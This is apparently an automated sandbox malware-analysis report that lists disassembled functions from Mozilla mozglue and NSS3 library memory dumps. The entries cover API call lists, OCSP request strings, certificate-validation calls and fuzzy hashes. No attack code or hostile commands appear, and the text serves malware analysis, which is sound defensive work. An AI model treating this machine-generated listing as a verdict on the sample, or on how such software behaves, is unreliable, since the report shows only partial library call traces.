String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 5e96fb7d18b8b5dbf1460e66221b83ccb48ed61ab5a8d84835a39602ae7b113f
Instruction ID: 95bf5db5b0ebb5880c8b0fa89e6741b461b4431e1eda18075855c6483917fb64
Opcode Fuzzy Hash: 5e96fb7d18b8b5dbf1460e66221b83ccb48ed61ab5a8d84835a39602ae7b113f
Instruction Fuzzy Hash: DDB1E671B093509FDB08DF28C85461ABBF6FB8A704F49892EE899D7790D774A844CB81

Function 6CAEC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CAEC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CAEC969
GetSystemInfo.KERNEL32(?), ref: 6CAEC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CAEC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CAEC9E2

Memory Dump Source

Source File: 00000000.00000002.2522932677.000000006CAD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2522908233.000000006CAD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2522999551.000000006CB4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2523029738.000000006CB5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2523052173.000000006CB62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 0eab274a3eff6298d205604007e79a42363443a5516e77b16b071687f20fb5d4
Instruction ID: 1613cef470aeef8597951b0f085038bed967f093e170f35c330a2cf3b3c8010e
Opcode Fuzzy Hash: 0eab274a3eff6298d205604007e79a42363443a5516e77b16b071687f20fb5d4
Instruction Fuzzy Hash: EA21FC317412186BDB05AFA4DC84BAEBBB9AB4A708F94051DF903A7780EB705C4487E1

Function 6CAD3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CAD3095

Part of subcall function 6CAD35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB5F688,00001000), ref: 6CAD35D5
Part of subcall function 6CAD35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAD35E0
Part of subcall function 6CAD35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CAD35FD
Part of subcall function 6CAD35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAD363F
Part of subcall function 6CAD35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAD369F
Part of subcall function 6CAD35A0: __aulldiv.LIBCMT ref: 6CAD36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAD309F

Part of subcall function 6CAF5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5B85
Part of subcall function 6CAF5B50: EnterCriticalSection.KERNEL32(6CB5F688,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5B90
Part of subcall function 6CAF5B50: LeaveCriticalSection.KERNEL32(6CB5F688,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5BD8
Part of subcall function 6CAF5B50: GetTickCount64.KERNEL32 ref: 6CAF5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CAD30BE

Part of subcall function 6CAD30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CAD3127
Part of subcall function 6CAD30F0: __aulldiv.LIBCMT ref: 6CAD3140

Part of subcall function 6CB0AB2A: __onexit.LIBCMT ref: 6CB0AB30

Memory Dump Source

Source File: 00000000.00000002.2522932677.000000006CAD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2522908233.000000006CAD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2522999551.000000006CB4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2523029738.000000006CB5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2523052173.000000006CB62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: ca813afb4c0ef2dfce937746bc46ed06776d6c1d29ace4b5d2eae9dcfb01b1a5
Instruction ID: 48d38d3b86892fb135c74cab21f1e8c18038a95d850e4c975176215e8da3b77b
Opcode Fuzzy Hash: ca813afb4c0ef2dfce937746bc46ed06776d6c1d29ace4b5d2eae9dcfb01b1a5
Instruction Fuzzy Hash: 5EF0A922E2078896CA10EF7489915EBF774AF6B114F915719E89467591FB2071DCC381

Non-executed Functions

Function 6CC06E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CD52120,6CC07E60), ref: 6CC06EBC
TlsGetValue.KERNEL32 ref: 6CC06EDF
EnterCriticalSection.KERNEL32(?), ref: 6CC06EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CC06F25

Part of subcall function 6CBDA900: TlsGetValue.KERNEL32(00000000,?,6CD514E4,?,6CB74DD9), ref: 6CBDA90F
Part of subcall function 6CBDA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CBDA94F

PR_Unlock.NSS3 ref: 6CC06F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CC06FA9
TlsGetValue.KERNEL32 ref: 6CC070B4
EnterCriticalSection.KERNEL32(?), ref: 6CC070C8
PR_CallOnce.NSS3(6CD524C0,6CC47590), ref: 6CC07104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC07117
SECOID_Init.NSS3 ref: 6CC07128
PORT_Alloc_Util.NSS3(00000057), ref: 6CC0714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC0717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC071A9
PR_NotifyAllCondVar.NSS3 ref: 6CC071CF
PR_Unlock.NSS3 ref: 6CC071DD
free.MOZGLUE(?), ref: 6CC071EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC07208
free.MOZGLUE(00000000), ref: 6CC07221
free.MOZGLUE(00000001), ref: 6CC07235
TlsGetValue.KERNEL32 ref: 6CC0724A
EnterCriticalSection.KERNEL32(?), ref: 6CC0725E
PR_NotifyCondVar.NSS3 ref: 6CC07273
PR_Unlock.NSS3 ref: 6CC07281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CC07291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC072B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC072D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC072E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC07301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC07310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC07335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC07344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC07363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC07372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CD40148,,defaultModDB,internalKeySlot), ref: 6CC074CC
free.MOZGLUE(00000000), ref: 6CC07513
free.MOZGLUE(00000000), ref: 6CC0751B
free.MOZGLUE(00000000), ref: 6CC07528
free.MOZGLUE(00000000), ref: 6CC0753C
free.MOZGLUE(00000000), ref: 6CC07550
free.MOZGLUE(00000000), ref: 6CC07561
free.MOZGLUE(00000000), ref: 6CC07572
free.MOZGLUE(00000000), ref: 6CC07583
free.MOZGLUE(00000000), ref: 6CC07594
free.MOZGLUE(00000000), ref: 6CC075A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CC075BD
free.MOZGLUE(00000000), ref: 6CC075C8
free.MOZGLUE(00000000), ref: 6CC075F1
PR_NewLock.NSS3 ref: 6CC07636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CC07686
PR_NewLock.NSS3 ref: 6CC076A2

Part of subcall function 6CCB98D0: calloc.MOZGLUE(00000001,00000084,6CBE0936,00000001,?,6CBE102C), ref: 6CCB98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CC076B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CC07707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CC0771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CC07731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CC0774A
DeleteCriticalSection.KERNEL32(?), ref: 6CC07770
free.MOZGLUE(?), ref: 6CC07779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC0779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC077AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CC077C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC077DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CC07821
PORT_Alloc_Util.NSS3(?), ref: 6CC07837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CC0785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC0786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CC078AC
free.MOZGLUE(00000000), ref: 6CC078BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CC078F3
free.MOZGLUE(00000000), ref: 6CC078FC
free.MOZGLUE(00000000), ref: 6CC0791C

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Strings

extern:, xrefs: 6CC0772B
dll, xrefs: 6CC0788E
NSS Internal Module, xrefs: 6CC074A2, 6CC074C6
Spac, xrefs: 6CC07389
sql:, xrefs: 6CC076FE
,defaultModDB,internalKeySlot, xrefs: 6CC0748D, 6CC074AA
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CC074C7
dbm:, xrefs: 6CC07716
kbi., xrefs: 6CC07886
rdb:, xrefs: 6CC07744

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 16bbb1cf9d21797807fdce667eeb03ec8dcdcee74b29f83f316ef5ab7ee68816
Instruction ID: b53b4cacb4399f065f89bc2654a7fb6694760e183b3c4f5d95f120eab1465e30
Opcode Fuzzy Hash: 16bbb1cf9d21797807fdce667eeb03ec8dcdcee74b29f83f316ef5ab7ee68816
Instruction Fuzzy Hash: 3152F1B1F002059BEF159F64CC05BAE7BB8BF0530CF144129EE49A6A51F732D958CB92

Function 6CBFEA80 Relevance: 107.5, APIs: 49, Strings: 12, Instructions: 735stringmemoryCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(00000000), ref: 6CBFEAB1

Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90AB
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90C9
Part of subcall function 6CCB9090: EnterCriticalSection.KERNEL32 ref: 6CCB90E5
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB9116
Part of subcall function 6CCB9090: LeaveCriticalSection.KERNEL32 ref: 6CCB913F

PR_ExitMonitor.NSS3 ref: 6CBFEAC5

Part of subcall function 6CCB9440: TlsGetValue.KERNEL32 ref: 6CCB945B
Part of subcall function 6CCB9440: TlsGetValue.KERNEL32 ref: 6CCB9479
Part of subcall function 6CCB9440: EnterCriticalSection.KERNEL32 ref: 6CCB9495
Part of subcall function 6CCB9440: TlsGetValue.KERNEL32 ref: 6CCB94E4
Part of subcall function 6CCB9440: TlsGetValue.KERNEL32 ref: 6CCB9532
Part of subcall function 6CCB9440: LeaveCriticalSection.KERNEL32 ref: 6CCB955D

PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CBFEBAF
PR_Socket.NSS3(00000002,00000001,00000000), ref: 6CBFEBF8
PR_StringToNetAddr.NSS3(?,?), ref: 6CBFEC20
PORT_Alloc_Util.NSS3(00000800), ref: 6CBFEC39
PR_GetHostByName.NSS3(?,00000000,00000800,?), ref: 6CBFEC5A
PR_EnumerateHostEnt.NSS3(00000000,?,?,?), ref: 6CBFEC85
free.MOZGLUE(?), ref: 6CBFECB6
PR_SetError.NSS3(FFFFE078,00000000), ref: 6CBFECCF
free.MOZGLUE(?), ref: 6CBFED10
free.MOZGLUE(?), ref: 6CBFED26
PR_InitializeNetAddr.NSS3(00000000,?,?), ref: 6CBFED35
PR_snprintf.NSS3(?,00000010,:%d,?), ref: 6CBFED7F
PR_smprintf.NSS3(POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u,?,?,00000000,?), ref: 6CBFEDAB
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBFEDBE
free.MOZGLUE(00000000), ref: 6CBFEE9B
PR_smprintf.NSS3(GET %s HTTP/1.0Host: %s%s,?,?,00000000), ref: 6CBFEEB1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBFEEC0
free.MOZGLUE(00000000), ref: 6CBFEEE2
free.MOZGLUE(00000000), ref: 6CBFEEF2
free.MOZGLUE(?), ref: 6CBFEF15
free.MOZGLUE(?), ref: 6CBFEF27
realloc.MOZGLUE(00000000,-00000401), ref: 6CBFEF5C

Part of subcall function 6CBFE910: PL_strncasecmp.NSS3(?,http://,00000007), ref: 6CBFE93B
Part of subcall function 6CBFE910: PR_SetError.NSS3(FFFFE075,00000000), ref: 6CBFE94E

strstr.VCRUNTIME140(-000000F8,), ref: 6CBFF00C
strstr.VCRUNTIME140(00000000,6CD4010D), ref: 6CBFF03F
strchr.VCRUNTIME140(00000000,00000020), ref: 6CBFF055
PL_strncasecmp.NSS3(00000000,HTTP/,00000005), ref: 6CBFF06D
free.MOZGLUE(00000000), ref: 6CBFF07A
PR_SetError.NSS3(FFFFE077,00000000), ref: 6CBFF08A
strchr.VCRUNTIME140(?,00000020), ref: 6CBFF0AC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,200), ref: 6CBFF0C4
strchr.VCRUNTIME140(?,0000003A), ref: 6CBFF0FA
strstr.VCRUNTIME140(-00000002,6CD4010D), ref: 6CBFF124
PL_strcasecmp.NSS3(?,content-type), ref: 6CBFF13D
PL_strcasecmp.NSS3(?,content-length), ref: 6CBFF14F
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(?), ref: 6CBFF15F
PL_strcasecmp.NSS3(?,application/ocsp-response), ref: 6CBFF1A0
memcpy.VCRUNTIME140(00000000,?), ref: 6CBFF1CD
PR_SetError.NSS3(FFFFE077,00000000), ref: 6CBFF231
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6CBFF387
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6CBFF39C
free.MOZGLUE(00000000), ref: 6CBFF3A5
free.MOZGLUE(00000000), ref: 6CBFF3B1

Part of subcall function 6CBE0F00: PR_GetPageSize.NSS3(6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F1B
Part of subcall function 6CBE0F00: PR_NewLogModule.NSS3(clock,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F25

Strings

content-type, xrefs: 6CBFF137
POST, xrefs: 6CBFEB58, 6CBFEB81
http, xrefs: 6CBFEB86
GET, xrefs: 6CBFEB53
HTTP/, xrefs: 6CBFF067
application/ocsp-response, xrefs: 6CBFF19A
POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u, xrefs: 6CBFEDA6
application/ocsp-request, xrefs: 6CBFEE25
:%d, xrefs: 6CBFED73
200, xrefs: 6CBFF0BB
content-length, xrefs: 6CBFF149
GET %s HTTP/1.0Host: %s%s, xrefs: 6CBFEEAC

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$Value$Error$CriticalSection$EnterL_strcasecmpstrchrstrstr$AddrHostL_strncasecmpLeaveMonitorR_smprintfUtilmemcpystrlen$AllocAlloc_EnumerateExitInitializeItem_ModuleNamePageR_snprintfSizeSocketStringatoireallocstrcmp
String ID: 200$:%d$GET$GET %s HTTP/1.0Host: %s%s$HTTP/$POST$POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u$application/ocsp-request$application/ocsp-response$content-length$content-type$http
API String ID: 3957390022-1324771758
Opcode ID: 20422e622669a033355a1c0011a24af02d0763afdc514bae45d46a5a6494a0a1
Instruction ID: 4ea48dce4dfbd81a9ac048361a6d66083da5aa3288c6ab7a7bd5752f8cc4de88
Opcode Fuzzy Hash: 20422e622669a033355a1c0011a24af02d0763afdc514bae45d46a5a6494a0a1
Instruction Fuzzy Hash: 6942AF71604381ABEB009F28DC85B6F77E8EF85348F044828F95997751E735E91ACBA3

Function 6CBFCA70 Relevance: 84.8, APIs: 56, Instructions: 849threadtimememoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CBFCB45
PORT_ZAlloc_Util.NSS3(00000040), ref: 6CBFCB5B
CERT_GetConstrainedCertificateNames.NSS3(?,00000010,?), ref: 6CBFCBEB
realloc.MOZGLUE(?,00000000), ref: 6CBFCC3B
PR_SetError.NSS3(FFFFE029,00000000), ref: 6CBFCD25
PR_GetCurrentThread.NSS3 ref: 6CBFCD35
CERT_FindCertIssuer.NSS3(?,00000001,?,00000001), ref: 6CBFCD74
CERT_CheckCertValidTimes.NSS3(?,00000001,?,00000000), ref: 6CBFCD9D
PR_GetCurrentThread.NSS3 ref: 6CBFCDBA
PR_SetError.NSS3(FFFFE01E,00000000), ref: 6CBFCDD2
PR_GetCurrentThread.NSS3 ref: 6CBFCDE9
PR_SetError.NSS3(FFFFE024,00000000), ref: 6CBFCE7C
PR_GetCurrentThread.NSS3 ref: 6CBFCE93
PR_SetError.NSS3(FFFFE025,00000000), ref: 6CBFCEC1
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CBFCF8F
memcmp.VCRUNTIME140(?,6CD196B4,00000048), ref: 6CBFCFC8
PR_GetCurrentThread.NSS3 ref: 6CBFD071
CERT_GetCertTrust.NSS3(?,?), ref: 6CBFD091
PR_SetError.NSS3(FFFFE024,00000000), ref: 6CBFD0C6
PR_GetCurrentThread.NSS3 ref: 6CBFD0DD
PR_SetError.NSS3(FFFFE05A,00000000), ref: 6CBFD116
PR_GetCurrentThread.NSS3 ref: 6CBFD131
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CBFD1D9
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CBFD225
CERT_DestroyCertificate.NSS3(?), ref: 6CBFD410
PR_SetError.NSS3(FFFFE0B6,00000000), ref: 6CBFD44E
PR_GetCurrentThread.NSS3 ref: 6CBFD45E
PR_GetCurrentThread.NSS3 ref: 6CBFD1EC

Part of subcall function 6CBFC9A0: PORT_ArenaAlloc_Util.NSS3(00000000,00000018,?,00000001,00000000,?,6CBFD864,?,00000000,?), ref: 6CBFC9AE

PR_SetError.NSS3(FFFFE014,00000000), ref: 6CBFD285
PR_GetCurrentThread.NSS3 ref: 6CBFD298
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CBFD2D7
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CBFD330
PR_GetCurrentThread.NSS3 ref: 6CBFD34C
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CBFD392
CERT_DestroyCertificate.NSS3(?), ref: 6CBFD3BC
PR_SetError.NSS3(FFFFE00D,00000000), ref: 6CBFD3DF
PR_GetCurrentThread.NSS3 ref: 6CBFD3EE
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CBFCE12

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_GetCurrentThread.NSS3 ref: 6CBFCE22
PR_GetCurrentThread.NSS3 ref: 6CBFCED8
memcmp.VCRUNTIME140(?,6CD196FC,00000048), ref: 6CBFCFDC
CERT_GetCertTimes.NSS3(?,?,?), ref: 6CBFCFF6
PR_GetCurrentThread.NSS3 ref: 6CBFCDFD

Part of subcall function 6CCB9BF0: TlsGetValue.KERNEL32(?,?,?,6CD00A75), ref: 6CCB9C07

PR_GetCurrentThread.NSS3 ref: 6CBFCE52
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CBFD4C4
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CBFD4E2
PR_GetCurrentThread.NSS3 ref: 6CBFD4EA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBFD515
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CBFD52C
PR_GetCurrentThread.NSS3 ref: 6CBFD540
free.MOZGLUE(?), ref: 6CBFD567
CERT_DestroyCertificate.NSS3(00000000), ref: 6CBFD575
CERT_DestroyCertificate.NSS3(?), ref: 6CBFD584
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBFD592

Part of subcall function 6CC106A0: TlsGetValue.KERNEL32 ref: 6CC106C2
Part of subcall function 6CC106A0: EnterCriticalSection.KERNEL32(?), ref: 6CC106D6
Part of subcall function 6CC106A0: PR_Unlock.NSS3 ref: 6CC106EB

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CurrentErrorThread$CertificateDestroyUtil$Cert$Value$Alloc_Arena_Timesmemcmp$ArenaCheckConstrainedCriticalEnterEqual_FindFreeIssuerItemsNamesPublicSectionTrustUnlockValidfreerealloc
String ID:
API String ID: 3754541784-0
Opcode ID: 4e54c836b1fe1fc92789c71d1d7d0db643817e314468b5c0d05d3f92904bd4fc
Instruction ID: 96740411b1eb24f5639b813248b7263444588a26c79608a4965b67429cce0e3c
Opcode Fuzzy Hash: 4e54c836b1fe1fc92789c71d1d7d0db643817e314468b5c0d05d3f92904bd4fc
Instruction Fuzzy Hash: 8E521471A083819BEB109F64DC40B5FB7A5EF85308F144528F96997BA1E731E84ECB93

Function 6CC409B0 Relevance: 66.8, APIs: 44, Instructions: 817memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6CC41AD3), ref: 6CC409D5
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6CC41AD3), ref: 6CC409E9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC40A18
PR_SetError.NSS3(00000000,00000000), ref: 6CC40A30
memcpy.VCRUNTIME140(?,00000000,00000020,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC40CC9
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC40D05
EnterCriticalSection.KERNEL32(?), ref: 6CC40D19
PR_Unlock.NSS3(?), ref: 6CC40D36
free.MOZGLUE(?), ref: 6CC40D75
TlsGetValue.KERNEL32 ref: 6CC40DA1
EnterCriticalSection.KERNEL32(?), ref: 6CC40DB5
PR_Unlock.NSS3(?), ref: 6CC40DEB
PORT_Alloc_Util.NSS3(?), ref: 6CC40DFF
PR_Unlock.NSS3(?), ref: 6CC40E37
free.MOZGLUE(?), ref: 6CC40E4E
PR_SetError.NSS3(00000000,00000000), ref: 6CC40E6A
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CC40E9A
TlsGetValue.KERNEL32 ref: 6CC40F23
EnterCriticalSection.KERNEL32(?), ref: 6CC40F37
PR_SetError.NSS3(00000000,00000000), ref: 6CC40FC7

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_Unlock.NSS3(?), ref: 6CC40FDE
TlsGetValue.KERNEL32 ref: 6CC40FFA
EnterCriticalSection.KERNEL32(?), ref: 6CC4100E
PR_Unlock.NSS3(?), ref: 6CC41050
PR_Unlock.NSS3(?), ref: 6CC41073
